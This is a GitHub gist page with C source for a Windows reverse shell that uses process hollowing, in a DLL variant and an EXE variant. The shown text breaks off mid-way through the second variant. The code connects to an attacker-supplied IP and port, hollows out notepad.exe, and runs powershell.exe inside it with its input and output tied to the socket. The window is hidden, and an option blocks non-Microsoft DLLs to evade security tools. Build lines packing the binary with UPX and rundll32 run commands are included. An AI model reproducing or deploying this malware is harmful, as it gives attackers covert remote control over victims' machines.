Forked from FrankSpierings/process-hollow-shell-dll.c
Created
November 26, 2020 10:41
-
-
Save 11philip22/60f21a35b868cc6d0bedcca617332568 to your computer and use it in GitHub Desktop.
Reverse shell which uses process hollowing technique
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s process-hollow-shell-dll.c -lws2_32 -lntdll -shared -o process-hollow-shell.dll; upx --ultra-brute process-hollow-shell.dll" | |
// | |
// Use -DDEBUG at compile time, for the logging printf messages. | |
// Use -DNON_MS_DLL_BLOCK at compile time, to block injection of non Microsoft DLL's into the host process. | |
// Use -DWAITFOR at compile time, to wait for the host process to finish. | |
// | |
// Run: | |
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 | |
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe | |
// rundll32 process-hollow-shell.dll,main 127.0.0.1 4444 c:\windows\system32\cmd.exe c:\windows\system32\notepad.exe | |
// | |
// Thank you: | |
// - https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations | |
// - https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes#updateprocthreadattribute | |
// - https://www.programmersought.com/article/27975170345/ | |
#include <stdio.h> | |
#include <winsock2.h> | |
#include <ws2tcpip.h> | |
#include <windows.h> | |
#include <winternl.h> | |
#pragma comment(lib, "Ws2_32.lib") | |
typedef NTSTATUS (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); | |
#ifdef NON_MS_DLL_BLOCK | |
typedef WINBOOL (WINAPI *InitializeProcThreadAttributeList) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize); | |
typedef WINBOOL (WINAPI *UpdateProcThreadAttribute) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize); | |
typedef struct _STARTUPINFOEXA { | |
STARTUPINFOA StartupInfo; | |
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; | |
} STARTUPINFOEXA,*LPSTARTUPINFOEXA; | |
#endif | |
typedef struct BASE_RELOCATION_BLOCK { | |
DWORD PageAddress; | |
DWORD BlockSize; | |
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; | |
typedef struct BASE_RELOCATION_ENTRY { | |
USHORT Offset : 12; | |
USHORT Type : 4; | |
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; | |
BOOL CreateProcessHollowed(LPSTR lpCommandLine, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, LPVOID *lpDestinationBase, SIZE_T dwSourceImageSize) { | |
BOOL bResult; | |
NTSTATUS status; | |
SIZE_T bytesRead = 0; | |
// Create the host process in a suspended state. | |
#ifdef NON_MS_DLL_BLOCK | |
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE|EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, lpStartupInfo, lpProcessInformation); | |
#else | |
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE, NULL, NULL, lpStartupInfo, lpProcessInformation); | |
#endif | |
if (!bResult) { | |
fprintf(stderr, "Unable to start %s", lpCommandLine); | |
return FALSE; | |
} | |
#ifdef DEBUG | |
printf("Host process : % 18s\n", lpCommandLine); | |
printf("Host process id : % 18d\n", lpProcessInformation->dwProcessId); | |
#endif | |
// Find the Process Environment Block | |
PROCESS_BASIC_INFORMATION pbi; | |
ZeroMemory(&pbi, sizeof(pbi)); | |
DWORD returnLength = 0; | |
status = NtQueryInformationProcess(lpProcessInformation->hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); | |
// The ImageBaseAddress is 8 bytes from pbi.PebBaseAddress. | |
// Read that address to obtain the value. | |
LPVOID lpImageBaseAddress = NULL; | |
DWORD dwPebImageBaseOffset = (DWORD)pbi.PebBaseAddress + 8; | |
#ifdef DEBUG | |
printf("PebBaseAddress : 0x%016x\n", pbi.PebBaseAddress); | |
printf("PebImageBaseOffset : 0x%016x\n", dwPebImageBaseOffset); | |
#endif | |
bResult = ReadProcessMemory(lpProcessInformation->hProcess, (LPCVOID)dwPebImageBaseOffset, &lpImageBaseAddress, 4, &bytesRead); | |
if (!bResult) { | |
fprintf(stderr, "Unable to read memory 0x%016x", dwPebImageBaseOffset); | |
TerminateProcess(lpProcessInformation->hProcess, 0); | |
return FALSE; | |
} | |
#ifdef DEBUG | |
printf("ImageBaseAddress : 0x%016x\n", lpImageBaseAddress); | |
#endif | |
// Carve out the host process by unmapping it. | |
NtUnmapViewOfSection fp_NtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandle("ntdll"), "NtUnmapViewOfSection")); | |
status = fp_NtUnmapViewOfSection(lpProcessInformation->hProcess, lpImageBaseAddress); | |
#ifdef DEBUG | |
printf("UnmapViewOfSection : % 18d\n", status); | |
#endif | |
// Allocate new memory in the host process for the new executable. | |
*lpDestinationBase = VirtualAllocEx(lpProcessInformation->hProcess, lpImageBaseAddress, dwSourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
if (!*lpDestinationBase) { | |
// fprintf(stderr, "Unable to allocate memory 0x%016x: 0x%08x\n", lpImageBaseAddress, GetLastError()); | |
TerminateProcess(lpProcessInformation->hProcess, 0); | |
return FALSE; | |
} | |
return TRUE; | |
} | |
int main(HWND hwnd, HINSTANCE hinst, char* cmdline, int nCmdShow) | |
{ | |
BOOL bResult; | |
int MAXARGS = 4; | |
int argc = 0; | |
char* argv[MAXARGS]; | |
char* token = cmdline; | |
while ((token = strtok(token, " ")) != NULL && argc < MAXARGS) | |
{ | |
argv[argc++] = token; | |
token = NULL; | |
} | |
if (argc < 2) { | |
fprintf(stderr, "Missing arguments\n"); | |
return -1; | |
} | |
char* ip = argv[0]; | |
unsigned int port = atoi(argv[1]); | |
#ifdef DEBUG | |
printf("Connecting : %s:%d\n", ip, port); | |
#endif | |
WSADATA WSAData; | |
SOCKET client; | |
SOCKADDR_IN addr; | |
WSAStartup(MAKEWORD(2, 0), &WSAData); | |
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
addr.sin_family = AF_INET; | |
addr.sin_addr.s_addr = inet_addr(ip); | |
addr.sin_port = htons(port); | |
if (connect(client, (SOCKADDR*) &addr, sizeof(addr))) { | |
fprintf(stderr, "Could not connect\n"); | |
return -1; | |
} | |
// Create host process - this is the process to be hollowed out | |
#ifndef NON_MS_DLL_BLOCK | |
STARTUPINFOA si; | |
ZeroMemory(&si, sizeof(si)); | |
si.cb = sizeof(si); | |
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_HIDE; | |
si.hStdInput = (HANDLE)client; | |
si.hStdOutput = (HANDLE)client; | |
si.hStdError = (HANDLE)client; | |
#else | |
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007 | |
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x0000100000000000 | |
STARTUPINFOEXA si; | |
ZeroMemory(&si, sizeof(si)); | |
si.StartupInfo.cb = sizeof(si); | |
si.StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | EXTENDED_STARTUPINFO_PRESENT; | |
si.StartupInfo.wShowWindow = SW_HIDE; | |
si.StartupInfo.hStdInput = (HANDLE)client; | |
si.StartupInfo.hStdOutput = (HANDLE)client; | |
si.StartupInfo.hStdError = (HANDLE)client; | |
// Obtain required kernel32 function pointers. | |
InitializeProcThreadAttributeList fp_InitializeProcThreadAttributeList = (InitializeProcThreadAttributeList)(GetProcAddress(GetModuleHandle("kernel32"), "InitializeProcThreadAttributeList")); | |
UpdateProcThreadAttribute fp_UpdateProcThreadAttribute = (UpdateProcThreadAttribute)(GetProcAddress(GetModuleHandle("kernel32"), "UpdateProcThreadAttribute")); | |
//Acquire PROC_THREAD_ATTRIBUTE_LIST size. | |
SIZE_T attributeSize = 0; | |
bResult = fp_InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); | |
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, attributeSize); | |
// Initialize the PROC_THREAD_ATTRIBUTE_LIST. | |
bResult = fp_InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); | |
// Apply the policy | |
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; | |
bResult = fp_UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL); | |
if (!bResult) { | |
fprintf(stderr, "Could not apply the PROC_THREAD_ATTRIBUTE_LIST policy.\n"); | |
return -1; | |
} | |
#endif | |
PROCESS_INFORMATION pi; | |
ZeroMemory(&pi, sizeof(pi)); | |
char *hostprocess = "c:\\windows\\system32\\notepad.exe"; | |
char *sourceprocess = "c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"; | |
if (argc > 2) { | |
sourceprocess = argv[2]; | |
} | |
if (argc > 3) { | |
hostprocess = argv[3]; | |
} | |
SIZE_T bytesRead = 0; | |
// read source file - this is the file that will be executed inside the hollowed process | |
HANDLE sourceFile = CreateFileA(sourceprocess, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); | |
DWORD sourceFileSize = GetFileSize(sourceFile, NULL); | |
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize); | |
bResult = ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL); | |
if (!bResult) { | |
fprintf(stderr, "Unable to read file %s\n", sourceFile); | |
return -1; | |
} | |
#ifdef DEBUG | |
printf("Source process : % 18s\n", sourceprocess); | |
printf("Source file size : % 18d\n", sourceFileSize); | |
#endif | |
// get source image size | |
PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer; | |
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew); | |
SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage; | |
#ifdef DEBUG | |
printf("Source image size : % 18d\n", sourceImageSize); | |
#endif | |
LPVOID lpDestinationBase = NULL; | |
bResult = FALSE; | |
short counter = 20; | |
while (!bResult && counter > 0) | |
{ | |
counter--; | |
bResult = CreateProcessHollowed(hostprocess, (LPSTARTUPINFOA)&si, &pi, &lpDestinationBase, sourceImageSize); | |
} | |
if (!bResult) { | |
fprintf(stderr, "Unable to hollow process."); | |
return -1; | |
} | |
lpDestinationBase = lpDestinationBase; | |
// Get delta between sourceImageBaseAddress and destinationImageBaseAddress | |
DWORD deltaImageBase = (DWORD)lpDestinationBase - sourceImageNTHeaders->OptionalHeader.ImageBase; | |
// Set sourceImageBase to lpDestinationBase and copy the source Image headers to the destination image | |
SIZE_T bytesWritten = 0; | |
sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)lpDestinationBase; | |
bResult = WriteProcessMemory(pi.hProcess, lpDestinationBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, &bytesWritten); | |
#ifdef DEBUG | |
printf("Wrote header size : % 18d\n", sourceImageSize); | |
#endif | |
// Get pointer to first source image section | |
PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32)); | |
PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection; | |
// Copy source image sections to destination | |
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) | |
{ | |
PVOID destinationSectionLocation = (PVOID)((DWORD)lpDestinationBase + sourceImageSection->VirtualAddress); | |
PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData); | |
bResult = WriteProcessMemory(pi.hProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, &bytesWritten); | |
if (!bResult) { | |
#ifdef DEBUG | |
printf("Unable to write from 0x%016x to 0x%016x for section(%02d): 0x%08x\n", sourceSectionLocation, destinationSectionLocation, i, GetLastError()); | |
#endif | |
return -1; | |
} | |
#ifdef DEBUG | |
printf("Wrote section (%03d): % 18d\n", i, bytesWritten); | |
printf("Source->destination: 0x%016x->0x%016x\n", sourceSectionLocation, destinationSectionLocation); | |
#endif | |
sourceImageSection++; | |
} | |
// Get address of the relocation table | |
IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; | |
// Patch the binary with relocations | |
sourceImageSection = sourceImageSectionOld; | |
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) | |
{ | |
BYTE* relocSectionName = (BYTE*)".reloc"; | |
if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) | |
{ | |
sourceImageSection++; | |
continue; | |
} | |
DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData; | |
DWORD relocationOffset = 0; | |
while (relocationOffset < relocationTable.Size) { | |
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); | |
relocationOffset += sizeof(BASE_RELOCATION_BLOCK); | |
DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); | |
PBASE_RELOCATION_ENTRY relocationEntries = (PBASE_RELOCATION_ENTRY)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); | |
for (DWORD y = 0; y < relocationEntryCount; y++) | |
{ | |
relocationOffset += sizeof(BASE_RELOCATION_ENTRY); | |
if (relocationEntries[y].Type == 0) | |
{ | |
continue; | |
} | |
DWORD patchAddress = relocationBlock->PageAddress + relocationEntries[y].Offset; | |
DWORD patchedBuffer = 0; | |
bResult = ReadProcessMemory(pi.hProcess,(LPCVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesRead); | |
patchedBuffer += deltaImageBase; | |
bResult = WriteProcessMemory(pi.hProcess, (PVOID)((DWORD)lpDestinationBase + patchAddress), &patchedBuffer, sizeof(DWORD), &bytesWritten); | |
} | |
} | |
} | |
// Get context of the dest process thread | |
CONTEXT context; | |
ZeroMemory(&context, sizeof(context)); | |
context.ContextFlags = CONTEXT_INTEGER; | |
GetThreadContext(pi.hThread, &context); | |
// Update dest image entry point to the new entry point of the source image and resume dest image thread | |
DWORD patchedEntryPoint = (DWORD)lpDestinationBase + sourceImageNTHeaders->OptionalHeader.AddressOfEntryPoint; | |
context.Eax = patchedEntryPoint; | |
SetThreadContext(pi.hThread, &context); | |
ResumeThread(pi.hThread); | |
// Wait for the process to finish | |
#ifdef WAITFOR | |
WaitForSingleObject(pi.hProcess, INFINITE); | |
closesocket(client); | |
WSACleanup(); | |
#endif | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// docker run -it --rm -v `pwd`:/tmp/building ubuntu bash -c "cd /tmp/building; apt update && apt install -y mingw-w64 upx && i686-w64-mingw32-gcc -O3 -s process-hollow-shell.c -lws2_32 -lntdll -o process-hollow-shell.exe; upx --ultra-brute process-hollow-shell.exe" | |
// | |
// Use -DDEBUG at compile time, for the logging printf messages. | |
// Use -DNON_MS_DLL_BLOCK at compile time, to block injection of non Microsoft DLL's into the host process. | |
// Use -DWAITFOR at compile time, to wait for the host process to finish. | |
// | |
// Thank you: | |
// - https://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocations | |
// - https://www.ired.team/offensive-security/defense-evasion/preventing-3rd-party-dlls-from-injecting-into-your-processes#updateprocthreadattribute | |
// - https://www.programmersought.com/article/27975170345/ | |
#include <stdio.h> | |
#include <winsock2.h> | |
#include <ws2tcpip.h> | |
#include <windows.h> | |
#include <winternl.h> | |
#pragma comment(lib, "Ws2_32.lib") | |
typedef NTSTATUS (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress); | |
#ifdef NON_MS_DLL_BLOCK | |
typedef WINBOOL (WINAPI *InitializeProcThreadAttributeList) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwAttributeCount, DWORD dwFlags, PSIZE_T lpSize); | |
typedef WINBOOL (WINAPI *UpdateProcThreadAttribute) (LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList, DWORD dwFlags, DWORD_PTR Attribute, PVOID lpValue, SIZE_T cbSize, PVOID lpPreviousValue, PSIZE_T lpReturnSize); | |
typedef struct _STARTUPINFOEXA { | |
STARTUPINFOA StartupInfo; | |
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList; | |
} STARTUPINFOEXA,*LPSTARTUPINFOEXA; | |
#endif | |
typedef struct BASE_RELOCATION_BLOCK { | |
DWORD PageAddress; | |
DWORD BlockSize; | |
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; | |
typedef struct BASE_RELOCATION_ENTRY { | |
USHORT Offset : 12; | |
USHORT Type : 4; | |
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; | |
BOOL CreateProcessHollowed(LPSTR lpCommandLine, LPSTARTUPINFOA lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation, LPVOID *lpDestinationBase, SIZE_T dwSourceImageSize) { | |
BOOL bResult; | |
NTSTATUS status; | |
SIZE_T bytesRead = 0; | |
// Create the host process in a suspended state. | |
#ifdef NON_MS_DLL_BLOCK | |
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE|EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, lpStartupInfo, lpProcessInformation); | |
#else | |
bResult = CreateProcessA(NULL, lpCommandLine, NULL, NULL, TRUE, CREATE_SUSPENDED|CREATE_NEW_CONSOLE, NULL, NULL, lpStartupInfo, lpProcessInformation); | |
#endif | |
if (!bResult) { | |
fprintf(stderr, "Unable to start %s", lpCommandLine); | |
return FALSE; | |
} | |
#ifdef DEBUG | |
printf("Host process : % 18s\n", lpCommandLine); | |
printf("Host process id : % 18d\n", lpProcessInformation->dwProcessId); | |
#endif | |
// Find the Process Environment Block | |
PROCESS_BASIC_INFORMATION pbi; | |
ZeroMemory(&pbi, sizeof(pbi)); | |
DWORD returnLength = 0; | |
status = NtQueryInformationProcess(lpProcessInformation->hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), &returnLength); | |
// The ImageBaseAddress is 8 bytes from pbi.PebBaseAddress. | |
// Read that address to obtain the value. | |
LPVOID lpImageBaseAddress = NULL; | |
DWORD dwPebImageBaseOffset = (DWORD)pbi.PebBaseAddress + 8; | |
#ifdef DEBUG | |
printf("PebBaseAddress : 0x%016x\n", pbi.PebBaseAddress); | |
printf("PebImageBaseOffset : 0x%016x\n", dwPebImageBaseOffset); | |
#endif | |
bResult = ReadProcessMemory(lpProcessInformation->hProcess, (LPCVOID)dwPebImageBaseOffset, &lpImageBaseAddress, 4, &bytesRead); | |
if (!bResult) { | |
fprintf(stderr, "Unable to read memory 0x%016x", dwPebImageBaseOffset); | |
TerminateProcess(lpProcessInformation->hProcess, 0); | |
return FALSE; | |
} | |
#ifdef DEBUG | |
printf("ImageBaseAddress : 0x%016x\n", lpImageBaseAddress); | |
#endif | |
// Carve out the host process by unmapping it. | |
NtUnmapViewOfSection fp_NtUnmapViewOfSection = (NtUnmapViewOfSection)(GetProcAddress(GetModuleHandle("ntdll"), "NtUnmapViewOfSection")); | |
status = fp_NtUnmapViewOfSection(lpProcessInformation->hProcess, lpImageBaseAddress); | |
#ifdef DEBUG | |
printf("UnmapViewOfSection : % 18d\n", status); | |
#endif | |
// Allocate new memory in the host process for the new executable. | |
*lpDestinationBase = VirtualAllocEx(lpProcessInformation->hProcess, lpImageBaseAddress, dwSourceImageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); | |
if (!*lpDestinationBase) { | |
// fprintf(stderr, "Unable to allocate memory 0x%016x: 0x%08x\n", lpImageBaseAddress, GetLastError()); | |
TerminateProcess(lpProcessInformation->hProcess, 0); | |
return FALSE; | |
} | |
return TRUE; | |
} | |
int main(int argc, char* argv[]) | |
{ | |
BOOL bResult; | |
// Create the reverse connection | |
if (argc < 2) { | |
fprintf(stderr, "Missing arguments\n"); | |
return -1; | |
} | |
char* ip = argv[1]; | |
unsigned int port = atoi(argv[2]); | |
#ifdef DEBUG | |
printf("Connecting : %s:%d\n", ip, port); | |
#endif | |
WSADATA WSAData; | |
SOCKET client; | |
SOCKADDR_IN addr; | |
WSAStartup(MAKEWORD(2, 0), &WSAData); | |
client = WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); | |
addr.sin_family = AF_INET; | |
addr.sin_addr.s_addr = inet_addr(ip); | |
addr.sin_port = htons(port); | |
if (connect(client, (SOCKADDR*) &addr, sizeof(addr))) { | |
fprintf(stderr, "Could not connect\n"); | |
return -1; | |
} | |
// Create host process - this is the process to be hollowed out | |
#ifndef NON_MS_DLL_BLOCK | |
STARTUPINFOA si; | |
ZeroMemory(&si, sizeof(si)); | |
si.cb = sizeof(si); | |
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; | |
si.wShowWindow = SW_HIDE; | |
si.hStdInput = (HANDLE)client; | |
si.hStdOutput = (HANDLE)client; | |
si.hStdError = (HANDLE)client; | |
#else | |
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007 | |
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x0000100000000000 | |
STARTUPINFOEXA si; | |
ZeroMemory(&si, sizeof(si)); | |
si.StartupInfo.cb = sizeof(si); | |
si.StartupInfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | EXTENDED_STARTUPINFO_PRESENT; | |
si.StartupInfo.wShowWindow = SW_HIDE; | |
si.StartupInfo.hStdInput = (HANDLE)client; | |
si.StartupInfo.hStdOutput = (HANDLE)client; | |
si.StartupInfo.hStdError = (HANDLE)client; | |
// Obtain required kernel32 function pointers. | |
InitializeProcThreadAttributeList fp_InitializeProcThreadAttributeList = (InitializeProcThreadAttributeList)(GetProcAddress(GetModuleHandle("kernel32"), "InitializeProcThreadAttributeList")); | |
UpdateProcThreadAttribute fp_UpdateProcThreadAttribute = (UpdateProcThreadAttribute)(GetProcAddress(GetModuleHandle("kernel32"), "UpdateProcThreadAttribute")); | |
//Acquire PROC_THREAD_ATTRIBUTE_LIST size. | |
SIZE_T attributeSize = 0; | |
bResult = fp_InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize); | |
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc(GetProcessHeap(), 0, attributeSize); | |
// Initialize the PROC_THREAD_ATTRIBUTE_LIST. | |
bResult = fp_InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize); | |
// Apply the policy | |
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON; | |
bResult = fp_UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL); | |
if (!bResult) { | |
fprintf(stderr, "Could not apply the PROC_THREAD_ATTRIBUTE_LIST policy.\n"); | |
return -1; | |
} | |
#endif | |
PROCESS_INFORMATION pi; | |
ZeroMemory(&pi, sizeof(pi)); | |
char *hostprocess = "c:\\windows\\system32\\notepad.exe"; | |
char *sourceprocess = "c:\\windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe"; | |
if (argc > 3) { | |
sourceprocess = argv[3]; | |
} | |
if (argc > 4) { | |
hostprocess = argv[4]; | |
} | |
SIZE_T bytesRead = 0; | |
// read source file - this is the file that will be executed inside the hollowed process | |
HANDLE sourceFile = CreateFileA(sourceprocess, GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); | |
DWORD sourceFileSize = GetFileSize(sourceFile, NULL); | |
LPVOID sourceFileBytesBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sourceFileSize); | |
bResult = ReadFile(sourceFile, sourceFileBytesBuffer, sourceFileSize, NULL, NULL); | |
if (!bResult) { | |
fprintf(stderr, "Unable to read file %s\n", sourceFile); | |
return -1; | |
} | |
#ifdef DEBUG | |
printf("Source process : % 18s\n", sourceprocess); | |
printf("Source file size : % 18d\n", sourceFileSize); | |
#endif | |
// get source image size | |
PIMAGE_DOS_HEADER sourceImageDosHeaders = (PIMAGE_DOS_HEADER)sourceFileBytesBuffer; | |
PIMAGE_NT_HEADERS sourceImageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew); | |
SIZE_T sourceImageSize = sourceImageNTHeaders->OptionalHeader.SizeOfImage; | |
#ifdef DEBUG | |
printf("Source image size : % 18d\n", sourceImageSize); | |
#endif | |
LPVOID lpDestinationBase = NULL; | |
bResult = FALSE; | |
short counter = 20; | |
while (!bResult && counter > 0) | |
{ | |
counter--; | |
bResult = CreateProcessHollowed(hostprocess, (LPSTARTUPINFOA)&si, &pi, &lpDestinationBase, sourceImageSize); | |
} | |
if (!bResult) { | |
fprintf(stderr, "Unable to hollow process."); | |
return -1; | |
} | |
lpDestinationBase = lpDestinationBase; | |
// Get delta between sourceImageBaseAddress and destinationImageBaseAddress | |
DWORD deltaImageBase = (DWORD)lpDestinationBase - sourceImageNTHeaders->OptionalHeader.ImageBase; | |
// Set sourceImageBase to lpDestinationBase and copy the source Image headers to the destination image | |
SIZE_T bytesWritten = 0; | |
sourceImageNTHeaders->OptionalHeader.ImageBase = (DWORD)lpDestinationBase; | |
bResult = WriteProcessMemory(pi.hProcess, lpDestinationBase, sourceFileBytesBuffer, sourceImageNTHeaders->OptionalHeader.SizeOfHeaders, &bytesWritten); | |
#ifdef DEBUG | |
printf("Wrote header size : % 18d\n", sourceImageSize); | |
#endif | |
// Get pointer to first source image section | |
PIMAGE_SECTION_HEADER sourceImageSection = (PIMAGE_SECTION_HEADER)((DWORD)sourceFileBytesBuffer + sourceImageDosHeaders->e_lfanew + sizeof(IMAGE_NT_HEADERS32)); | |
PIMAGE_SECTION_HEADER sourceImageSectionOld = sourceImageSection; | |
// Copy source image sections to destination | |
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) | |
{ | |
PVOID destinationSectionLocation = (PVOID)((DWORD)lpDestinationBase + sourceImageSection->VirtualAddress); | |
PVOID sourceSectionLocation = (PVOID)((DWORD)sourceFileBytesBuffer + sourceImageSection->PointerToRawData); | |
bResult = WriteProcessMemory(pi.hProcess, destinationSectionLocation, sourceSectionLocation, sourceImageSection->SizeOfRawData, &bytesWritten); | |
if (!bResult) { | |
#ifdef DEBUG | |
printf("Unable to write from 0x%016x to 0x%016x for section(%02d): 0x%08x\n", sourceSectionLocation, destinationSectionLocation, i, GetLastError()); | |
#endif | |
return -1; | |
} | |
#ifdef DEBUG | |
printf("Wrote section (%03d): % 18d\n", i, bytesWritten); | |
printf("Source->destination: 0x%016x->0x%016x\n", sourceSectionLocation, destinationSectionLocation); | |
#endif | |
sourceImageSection++; | |
} | |
// Get address of the relocation table | |
IMAGE_DATA_DIRECTORY relocationTable = sourceImageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; | |
// Patch the binary with relocations | |
sourceImageSection = sourceImageSectionOld; | |
for (int i = 0; i < sourceImageNTHeaders->FileHeader.NumberOfSections; i++) | |
{ | |
BYTE* relocSectionName = (BYTE*)".reloc"; | |
if (memcmp(sourceImageSection->Name, relocSectionName, 5) != 0) | |
{ | |
sourceImageSection++; | |
continue; | |
} | |
DWORD sourceRelocationTableRaw = sourceImageSection->PointerToRawData; | |
DWORD relocationOffset = 0; | |
while (relocationOffset < relocationTable.Size) { | |
PBASE_RELOCATION_BLOCK relocationBlock = (PBASE_RELOCATION_BLOCK)((DWORD)sourceFileBytesBuffer + sourceRelocationTableRaw + relocationOffset); | |
relocationOffset += sizeof(BASE_RELOCATION_BLOCK); | |
DWORD relocationEntryCount = (relocationBlock->BlockSize - sizeof(BASE_RELOCATION_BLOCK)) / sizeof(BASE_RELOCATION_ENTRY); | |
